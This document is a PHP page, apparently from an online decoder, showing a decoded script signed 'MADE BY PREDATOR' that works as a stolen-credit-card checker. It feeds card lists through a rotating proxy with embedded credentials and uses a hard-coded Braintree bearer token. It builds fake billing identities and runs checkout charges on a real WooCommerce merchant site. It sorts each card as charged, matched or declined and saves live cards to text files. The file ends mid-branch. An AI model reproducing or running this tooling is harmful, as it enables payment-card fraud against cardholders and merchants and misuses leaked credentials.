Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //===================== [ MADE BY PREDATOR ] ====================// #-----------..

Decoded Output download

<?php 
 
//===================== [ MADE BY PREDATOR ] ====================// 
#---------------[ WITH PROXY ]----------------# 
 
 
error_reporting(0); 
 
unlink(getcwd() . '/cookie.txt'); 
date_default_timezone_set('America/Buenos_Aires'); 
 
function GetStr($string, $start, $end) 
{ 
    $string = ' ' . $string; 
    $ini = strpos($string, $start); 
    if ($ini == 0) return ''; 
    $ini += strlen($start); 
    $len = strpos($string, $end, $ini) - $ini; 
    return trim(strip_tags(substr($string, $ini, $len))); 
} 
 
 
function multiexplode($seperator, $string) 
{ 
    $one = str_replace($seperator, $seperator[0], $string); 
    $two = explode($seperator[0], $one); 
    return $two; 
}; 
function generateRandomString($length = 16) 
{ 
    $characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; 
    $charactersLength = strlen($characters); 
    $randomString = ''; 
    for ($i = 0; $i < $length; $i++) { 
        $randomString .= $characters[rand(0, $charactersLength - 1)]; 
    } 
    return $randomString; 
}; 
 
$proxy = $_GET['sec']; 
$tg_id = $_GET['cst']; 
$lista = $_GET['lista']; 
$cc = multiexplode(array(":", "|", ""), $lista)[0]; 
$mes = multiexplode(array(":", "|", ""), $lista)[1]; 
$ano = multiexplode(array(":", "|", ""), $lista)[2]; 
$cvv = multiexplode(array(":", "|", ""), $lista)[3]; 
 
 
$get = file_get_contents('https://randomuser.me/api/1.2/?nat=us'); 
preg_match_all("(\"first\":\"(.*)\")siU", $get, $matches1); 
$name = $matches1[1][0]; 
preg_match_all("(\"last\":\"(.*)\")siU", $get, $matches1); 
$last = $matches1[1][0]; 
preg_match_all("(\"email\":\"(.*)\")siU", $get, $matches1); 
$email = $matches1[1][0]; 
preg_match_all("(\"street\":\"(.*)\")siU", $get, $matches1); 
$street = $matches1[1][0]; 
preg_match_all("(\"city\":\"(.*)\")siU", $get, $matches1); 
$city = $matches1[1][0]; 
preg_match_all("(\"state\":\"(.*)\")siU", $get, $matches1); 
$state = $matches1[1][0]; 
preg_match_all("(\"phone\":\"(.*)\")siU", $get, $matches1); 
$phone = $matches1[1][0]; 
preg_match_all("(\"postcode\":(.*),\")siU", $get, $matches1); 
$zip = $matches1[1][0]; 
preg_match_all("(\"username\":(.*),\")siU", $get, $matches1); 
$user_name = $matches1[1][0]; 
$numero1 = substr($phone, 1,3); 
$numero2 = substr($phone, 6,3); 
$numero3 = substr($phone, 10,4); 
$phone = $numero1.''.$numero2.''.$numero3; 
$serve_arr = array("gmail.com","homtail.com","yahoo.com.br","bol.com.br","yopmail.com","outlook.com"); 
$serv_rnd = $serve_arr[array_rand($serve_arr)]; 
$email= str_replace("example.com", $serv_rnd, $email); 
if($state=="Alabama"){ $state="AL"; 
}else if($state=="alaska"){ $state="AK"; 
}else if($state=="arizona"){ $state="AR"; 
}else if($state=="california"){ $state="CA"; 
}else if($state=="olorado"){ $state="CO"; 
}else if($state=="connecticut"){ $state="CT"; 
}else if($state=="delaware"){ $state="DE"; 
}else if($state=="district of columbia"){ $state="DC"; 
}else if($state=="florida"){ $state="FL"; 
}else if($state=="georgia"){ $state="GA"; 
}else if($state=="hawaii"){ $state="HI"; 
}else if($state=="idaho"){ $state="ID"; 
}else if($state=="illinois"){ $state="IL"; 
}else if($state=="indiana"){ $state="IN"; 
}else if($state=="iowa"){ $state="IA"; 
}else if($state=="kansas"){ $state="KS"; 
}else if($state=="kentucky"){ $state="KY"; 
}else if($state=="louisiana"){ $state="LA"; 
}else if($state=="maine"){ $state="ME"; 
}else if($state=="maryland"){ $state="MD"; 
}else if($state=="massachusetts"){ $state="MA"; 
}else if($state=="michigan"){ $state="MI"; 
}else if($state=="minnesota"){ $state="MN"; 
}else if($state=="mississippi"){ $state="MS"; 
}else if($state=="missouri"){ $state="MO"; 
}else if($state=="montana"){ $state="MT"; 
}else if($state=="nebraska"){ $state="NE"; 
}else if($state=="nevada"){ $state="NV"; 
}else if($state=="new hampshire"){ $state="NH"; 
}else if($state=="new jersey"){ $state="NJ"; 
}else if($state=="new mexico"){ $state="NM"; 
}else if($state=="new york"){ $state="LA"; 
}else if($state=="north carolina"){ $state="NC"; 
}else if($state=="north dakota"){ $state="ND"; 
}else if($state=="Ohio"){ $state="OH"; 
}else if($state=="oklahoma"){ $state="OK"; 
}else if($state=="oregon"){ $state="OR"; 
}else if($state=="pennsylvania"){ $state="PA"; 
}else if($state=="rhode Island"){ $state="RI"; 
}else if($state=="south carolina"){ $state="SC"; 
}else if($state=="south dakota"){ $state="SD"; 
}else if($state=="tennessee"){ $state="TN"; 
}else if($state=="texas"){ $state="TX"; 
}else if($state=="utah"){ $state="UT"; 
}else if($state=="vermont"){ $state="VT"; 
}else if($state=="virginia"){ $state="VA"; 
}else if($state=="washington"){ $state="WA"; 
}else if($state=="west virginia"){ $state="WV"; 
}else if($state=="wisconsin"){ $state="WI"; 
}else if($state=="wyoming"){ $state="WY"; 
}else{$state="KY";}  
 
 
 
if (strlen($mes) == 1) $mes = "0$mes"; 
//if (strlen($ano) == 2) $ano = "20$ano"; 
 
switch ($ano) { 
  case '2031': 
  $ano = '31'; 
    break; 
  case '2023': 
  $ano = '23'; 
    break; 
  case '2024': 
  $ano = '24'; 
    break; 
  case '2025': 
  $ano = '25'; 
    break; 
  case '2026': 
  $ano = '26'; 
    break; 
    case '2027': 
    $ano = '27'; 
    break; 
      case '2028': 
  $ano = '28'; 
    break; 
  case '2029': 
  $ano = '29'; 
    break; 
  case '2030': 
  $ano = '30'; 
    break; 
      case '2032': 
  $ano = '32'; 
    break; 
      case '2033': 
  $ano = '33'; 
    break; 
} 
 
$ip = multiexplode(array(":", "|", ""), $proxy)[0]; 
$port = multiexplode(array( 
    ":", 
    "|", 
    "" 
), $proxy)[1]; 
$user = multiexplode(array( 
    ":", 
    "|", 
    "" 
), $proxy)[2]; 
$pass = multiexplode(array( 
    ":", 
    "|", 
    "" 
), $proxy)[3]; 
 
if (file_exists("cookie.txt")) { 
    unlink("cookie.txt"); 
} 
 
$bin = substr($cc, 0,6); 
 
$start = ''.rand(1,15).''; 
if (strlen($start) == 1) $start1 = "0$start"; 
$end = ''.rand(17,25).''; 
 
$month = ''.rand(1,12).''; 
if (strlen($month) == 1) $month = "0$month"; 
 
$monthNumber = $month; // Replace this with the desired month number (1 to 12) 
 
if ($monthNumber >= 1 && $monthNumber <= 12) { 
    $monthName = date("F", mktime(0, 0, 0, $monthNumber, 1)); 
   // echo "Month $monthNumber corresponds to $monthName."; 
} else { 
   // echo "Invalid month number. Please enter a number between 1 and 12."; 
} 
 
 
$formData = 'add-to-cart=67&start_date='.$start.'+'.$monthName.'%2C+2024&wc_bookings_field_start_date_month='.$monthNumber.'&wc_bookings_field_start_date_day='.$start1.'&wc_bookings_field_start_date_year=2024&end_date='.$end.'+'.$monthName.'%2C+2024&wc_bookings_field_start_date_to_month='.$month.'&wc_bookings_field_start_date_to_day='.$end.'&wc_bookings_field_start_date_to_year=2024&front-book=1&wc_bookings_field_duration='.$start1.''; 
 
$formData1 = 'add-to-cart=67&start_date=10+November%2C+2023&wc_bookings_field_start_date_month=11&wc_bookings_field_start_date_day=10&wc_bookings_field_start_date_year=2023&end_date=12+November%2C+2023&wc_bookings_field_start_date_to_month=11&wc_bookings_field_start_date_to_day=12&wc_bookings_field_start_date_to_year=2023&front-book=1&wc_bookings_field_duration=3'; 
 
$email = generateRandomString() . "%40gmail.com"; 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_PROXY, 'http://brd.superproxy.io:22225'); 
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); 
$headers = array( 
 
    'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 
    'authority: roamfree.ninja', 
    'Content-Type: application/x-www-form-urlencoded', 
    'origin: https://roamfree.ninja', 
    'referer: https://roamfree.ninja/', 
    'sec-ch-ua-platform: "Windows"', 
    'sec-fetch-mode: navigate', 
    'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 
); 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $formData1); 
$curl1 = curl_exec($ch); 
curl_close($ch); 
//$checkoutUrl = trim(strip_tags(getStr($curl1, '"checkoutUrl":"','"'))); 
 
 
/* 
$ch = curl_init(); 
//curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225'); 
//curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://www.frontrangeequinerescue.org/cart/'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); 
$headers = array(); 
$headers[] = 'Accept: '; 
//$headers[] = 'Connection: keep-alive'; 
//$headers[] = 'Content-Type: multipart/form-data; boundary=----'; 
//$headers[] = 'Host: www.amun.org'; 
//$headers[] = 'origin: https://www.amun.org'; 
$headers[] = 'referer: https://www.frontrangeequinerescue.org/product/donate-2/'; 
$headers[] = 'Sec-Fetch-Mode: navigate'; 
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).''; 
//$headers[] = 'x-requested-with: XMLHttpRequest'; 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
//curl_setopt($ch, CURLOPT_POSTFIELDS, $formData); 
$curl2 = curl_exec($ch); 
 
$et_ab_log_nonce = trim(strip_tags(getStr($curl2,'"et_ab_log_nonce":"','"'))); 
$auth = trim(strip_tags(getStr($curl2, 'name="authenticity_token" value="', '"'))); 
 
curl_close($ch); 
*/ 
 
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225'); 
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/checkout/'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET'); 
curl_setopt($ch, CURLOPT_HEADER, 1); 
$headers = array(); 
$headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'; 
//$headers[] = 'Content-Type: application/json'; 
//$headers[] = 'Cookie: _pk_id.1.bdb5=2a15c20ceaebea2b.1698415739.; _pk_ses.1.bdb5=1; logged_in=1; account=MTY5ODQxNTgzNHxEWDhFQVFMX2dBQUJFQUVRQUFEX3B2LUFBQVFHYzNSeWFXNW5EQTBBQzNSdmRIQmZZbUZqYTNWd0JuTjBjbWx1Wnd3Q0FBQUdjM1J5YVc1bkRBd0FDbU56Y21aZmRHOXJaVzRHYzNSeWFXNW5EQklBRUdocmFsWlJaa296UVhvNGVFdHJRWFFHYzNSeWFXNW5EQXdBQ21GalkyOTFiblJmYVdRR2MzUnlhVzVuREJJQUVHa3RSRTVYUXkxUVNsbEtMVFZLVGxnR2MzUnlhVzVuREEwQUMzUnZkSEJmYzJWamNtVjBCbk4wY21sdVp3d0NBQUE9fNKIJ90B85R0JS8XgeAOdV-ri-O5aTq8jxebQMbTd_bH'; 
//$headers[] = 'Csrf-Token: hkjVQfJ3Az8xKkAt'; 
//$headers[] = 'Origin: https://roamfree.ninja'; 
$headers[] = 'Referer: https://roamfree.ninja/'; 
$headers[] = 'Sec-Fetch-Mode: navigate'; 
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).''; 
//$headers[] = 'x-requested-with: XMLHttpRequest'; 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
//curl_setopt($ch, CURLOPT_POSTFIELDS, ''); 
$curl3 = curl_exec($ch); 
$csrf = trim(strip_tags(getStr($curl3,'csrf-token: ',' 
'))); 
$checkout_nonce = trim(strip_tags(getStr($curl3,'name=woocommerce-process-checkout-nonce value=','>'))); 
////////////////////////////////////////////////// 
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225'); 
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://payments.braintree-api.com/graphql'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_POST, 1); 
$headers = array(); 
$headers[] = 'Accept: */*'; 
$headers[] = 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE2OTk2MDI3MjcsImp0aSI6IjU3MDZhNGZkLWU5N2QtNGIwYS1iMDNmLTc4MjlkMTIzODU0YiIsInN1YiI6Imh3dG5taHRxcTVqcm5rcGMiLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6Imh3dG5taHRxcTVqcm5rcGMiLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0IjpmYWxzZX0sInJpZ2h0cyI6WyJtYW5hZ2VfdmF1bHQiXSwic2NvcGUiOlsiQnJhaW50cmVlOlZhdWx0Il0sIm9wdGlvbnMiOnsibWVyY2hhbnRfYWNjb3VudF9pZCI6ImVwaWZyb25FVVIifX0.JetJHX36Gq5kPKiqdpiA9WthWPuIOpAPsSLWV-Ec8qGEH59RFVsMFNHaMqg2nlQu0I6cGcynNBsQYDI9FVxncQ'; 
$headers[] = 'Braintree-Version: 2018-05-10'; 
$headers[] = 'Content-Type: application/json'; 
//$headers[] = 'Host: www.amun.org'; 
$headers[] = 'origin: https://assets.braintreegateway.com'; 
$headers[] = 'referer: https://assets.braintreegateway.com/'; 
$headers[] = 'Sec-Fetch-Mode: cors'; 
//$headers[] = 'Sentry-Trace: 0e89747956904e3ead2ca89b545dca92-b51ce95807579c84-1'; 
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).''; 
//$headers[] = 'X-Csrf-Token: '.$csrf_token.''; 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"clientSdkMetadata":{"source":"client","integration":"dropin2","sessionId":"962d062a-1501-45f2-9813-cf340caab911"},"query":"mutation TokenizeCreditCard($input: TokenizeCreditCardInput!) {   tokenizeCreditCard(input: $input) {     token     creditCard {       bin       brandCode       last4       expirationMonth      expirationYear      binData {         prepaid         healthcare         debit         durbinRegulated         commercial         payroll         issuingBank         countryOfIssuance         productId       }     }   } }","variables":{"input":{"creditCard":{"number":"'.$cc.'","expirationMonth":"'.$mes.'","expirationYear":"'.$ano.'","cvv":"'.$cvv.'"},"options":{"validate":false}}},"operationName":"TokenizeCreditCard"}'); 
 
 
$payment99 = curl_exec($ch); 
$token = trim(strip_tags(getStr($payment99,'"token":"','"'))); 
$requestId = trim(strip_tags(getStr($payment99,'"requestId":"','"'))); 
////////////////// 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225'); 
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://api.braintreegateway.com/merchants/hwtnmhtqq5jrnkpc/client_api/v1/payment_methods/'.$token.'/three_d_secure/lookup'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_POST, 1); 
$headers = array(); 
$headers[] = 'Accept: */*'; 
//$headers[] = 'Authorization: '; 
//$headers[] = 'Braintree-Version: 2018-05-10'; 
$headers[] = 'Content-Type: application/json'; 
//$headers[] = 'Host: www.amun.org'; 
$headers[] = 'Origin: https://www.ivpn.net'; 
$headers[] = 'Referer: https://www.ivpn.net/'; 
$headers[] = 'Sec-Fetch-Mode: cors'; 
//$headers[] = 'Sentry-Trace: 0e89747956904e3ead2ca89b545dca92-b51ce95807579c84-1'; 
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).''; 
//$headers[] = 'X-Csrf-Token: '.$csrf_token.''; 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"amount":"80.55","additionalInfo":{"billingLine1":"'.$street.'","billingLine2":"","billingCity":"'.$city.'","billingState":"'.$state.'","billingPostalCode":"'.$zip.'","billingCountryCode":"US","billingPhoneNumber":"3314782'.rand(111,999).'","billingGivenName":"'.$name.'","billingSurname":"'.$last.'","email":"'.$randomString.'@gmail.com"},"bin":"'.$bin.'","dfReferenceId":"0_28b270b6-77c4-446f-b2ee-87d59be05d05","clientMetadata":{"sdkVersion":"web/3.52.0","requestedThreeDSecureVersion":"2","cardinalDeviceDataCollectionTimeElapsed":2563,"issuerDeviceDataCollectionTimeElapsed":4368,"issuerDeviceDataCollectionResult":true},"authorizationFingerprint":"eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiIsImtpZCI6IjIwMTgwNDI2MTYtcHJvZHVjdGlvbiIsImlzcyI6Imh0dHBzOi8vYXBpLmJyYWludHJlZWdhdGV3YXkuY29tIn0.eyJleHAiOjE2OTk2MDI3MjcsImp0aSI6IjU3MDZhNGZkLWU5N2QtNGIwYS1iMDNmLTc4MjlkMTIzODU0YiIsInN1YiI6Imh3dG5taHRxcTVqcm5rcGMiLCJpc3MiOiJodHRwczovL2FwaS5icmFpbnRyZWVnYXRld2F5LmNvbSIsIm1lcmNoYW50Ijp7InB1YmxpY19pZCI6Imh3dG5taHRxcTVqcm5rcGMiLCJ2ZXJpZnlfY2FyZF9ieV9kZWZhdWx0IjpmYWxzZX0sInJpZ2h0cyI6WyJtYW5hZ2VfdmF1bHQiXSwic2NvcGUiOlsiQnJhaW50cmVlOlZhdWx0Il0sIm9wdGlvbnMiOnsibWVyY2hhbnRfYWNjb3VudF9pZCI6ImVwaWZyb25FVVIifX0.JetJHX36Gq5kPKiqdpiA9WthWPuIOpAPsSLWV-Ec8qGEH59RFVsMFNHaMqg2nlQu0I6cGcynNBsQYDI9FVxncQ","braintreeLibraryVersion":"braintree/web/3.52.0","_meta":{"merchantAppId":"roamfree.ninja","platform":"web","sdkVersion":"3.52.0","source":"client","integration":"custom","integrationType":"custom","sessionId":"'.$requestId.'"}}'); 
 
 
$lookup = curl_exec($ch); 
$lookup_token = trim(strip_tags(getStr($lookup,'"nonce":"','"'))); 
//////////////////////////////////////////////////// 
 
 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_PROXY, 'http://zproxy.lum-superproxy.io:22225'); 
curl_setopt($ch, CURLOPT_PROXYUSERPWD, 'brd-customer-hl_464a001d-zone-data_center:49s3nq8bi1ts'); 
curl_setopt($ch, CURLOPT_URL, 'https://roamfree.ninja/?wc-ajax=checkout'); 
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); 
curl_setopt($ch, CURLOPT_POST, 1); 
$headers = array(); 
$headers[] = 'Accept: application/json, text/javascript, */*; q=0.01'; 
$headers[] = 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8'; 
//$headers[] = 'Cookie: _pk_id.1.bdb5=2a15c20ceaebea2b.1698415739.; _pk_ses.1.bdb5=1; logged_in=1; account=MTY5ODQxNTgzNHxEWDhFQVFMX2dBQUJFQUVRQUFEX3B2LUFBQVFHYzNSeWFXNW5EQTBBQzNSdmRIQmZZbUZqYTNWd0JuTjBjbWx1Wnd3Q0FBQUdjM1J5YVc1bkRBd0FDbU56Y21aZmRHOXJaVzRHYzNSeWFXNW5EQklBRUdocmFsWlJaa296UVhvNGVFdHJRWFFHYzNSeWFXNW5EQXdBQ21GalkyOTFiblJmYVdRR2MzUnlhVzVuREJJQUVHa3RSRTVYUXkxUVNsbEtMVFZLVGxnR2MzUnlhVzVuREEwQUMzUnZkSEJmYzJWamNtVjBCbk4wY21sdVp3d0NBQUE9fNKIJ90B85R0JS8XgeAOdV-ri-O5aTq8jxebQMbTd_bH'; 
//$headers[] = 'Csrf-Token: '.$csrf.''; 
$headers[] = 'Origin: https://roamfree.ninja'; 
$headers[] = 'Referer: https://roamfree.ninja/checkout/'; 
$headers[] = 'Sec-Fetch-Mode: cors'; 
$headers[] = 'User-Agent: Mozilla/5.0 (Windows NT '.rand(11,99).'.0; Win64; x64) AppleWebKit/'.rand(111,999).'.'.rand(11,99).' (KHTML, like Gecko) Chrome/'.rand(11,99).'.0.'.rand(1111,9999).'.'.rand(111,999).' Safari/'.rand(111,999).'.'.rand(11,99).''; 
$headers[] = 'X-Requested-With: XMLHttpRequest'; 
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); 
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd() . '/cookie.txt'); 
curl_setopt($ch, CURLOPT_POSTFIELDS, 'billing_country=US&billing_first_name='.$name.'&billing_last_name='.$last.'&billing_company=&vatno=&billing_address_1='.$street.'&billing_address_2=&billing_city='.$city.'&billing_state='.$state.'&billing_postcode='.$zip.'&billing_email='.$email.'&billing_phone=3314782'.rand(111,999).'&gdpr_consent=1&additional_first_name='.$name.'&additional_last_name='.$last.'&property_name=&property_city=&order_comments=&payment_method=braintree_cc&braintree_cc_nonce_key='.$lookup_token.'&braintree_cc_device_data=%7B%22device_session_id%22%3A%22%22%2C%22fraud_merchant_id%22%3Anull%7D&braintree_cc_3ds_nonce_key=&braintree_cc_config_data=&braintree_paypal_nonce_key=&braintree_paypal_device_data=&terms=on&terms-field=1&woocommerce-process-checkout-nonce='.$checkout_nonce.'&_wp_http_referer=%2F%3Fwc-ajax%3Dupdate_order_review&wc_braintree_3ds_enabled=1&wc_braintree_3ds_active=1'); 
 
 
 
$result3 = curl_exec($ch); 
$req = trim(strip_tags(getStr($result3,'"redirect":"','"'))); 
$msg = trim(strip_tags(getStr($result3,'There was an error processing your payment. Reason: ','	'))); 
$decline_code = trim(strip_tags(getStr($result3,'"code":"','"'))); 
$code = trim(strip_tags(getStr($result3,'{"result":"','"'))); 
 
curl_close($ch); 
#===============[Card Response] 
if (strpos($result3, '"result":"success"')) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success"> CVV CHARGED 99 </span></br>'; 
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result88, 'Unfortunately your order cannot be processed as the originating bank/merchant has declined your transaction.')) { 
  echo '<span class="new badge red">#Declined</span> <span class="new badge red">X</span> <span class="new badge red">' . $lista . ' </span> <span class="new badge red"></span>X<span class="badge badge-pink">  [Bank/merchant has declined your transaction.]['.$req_msg.'] </span> </br>'; 
} 
elseif(strpos($result3, 'success' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
          fwrite(fopen("success.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'ending in' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'Thank' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
          fwrite(fopen("CHARGED.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'Invoice #' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'Fraud Suspected' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED Fraud Suspected  </span></br>'; 
          fwrite(fopen("fraud.txt", "a+"), "$cc|$mes|$ano|$cvv
"); 
    exit(); 
} 
elseif(strpos($result3, 'succeeded' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'Payment Successful' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'success</i>' )) { 
  echo '<span class="badge badge-success">#Approved</span> <span class="badge badge-success"></span> <span class="badge badge-success">' . $lista . '</span> <span class="badge badge-success"></span> <span class="badge badge-success">  CVV MATCHED  </span></br>'; 
} 
elseif(strpos($result3, 'Your card was approved.' )) { 
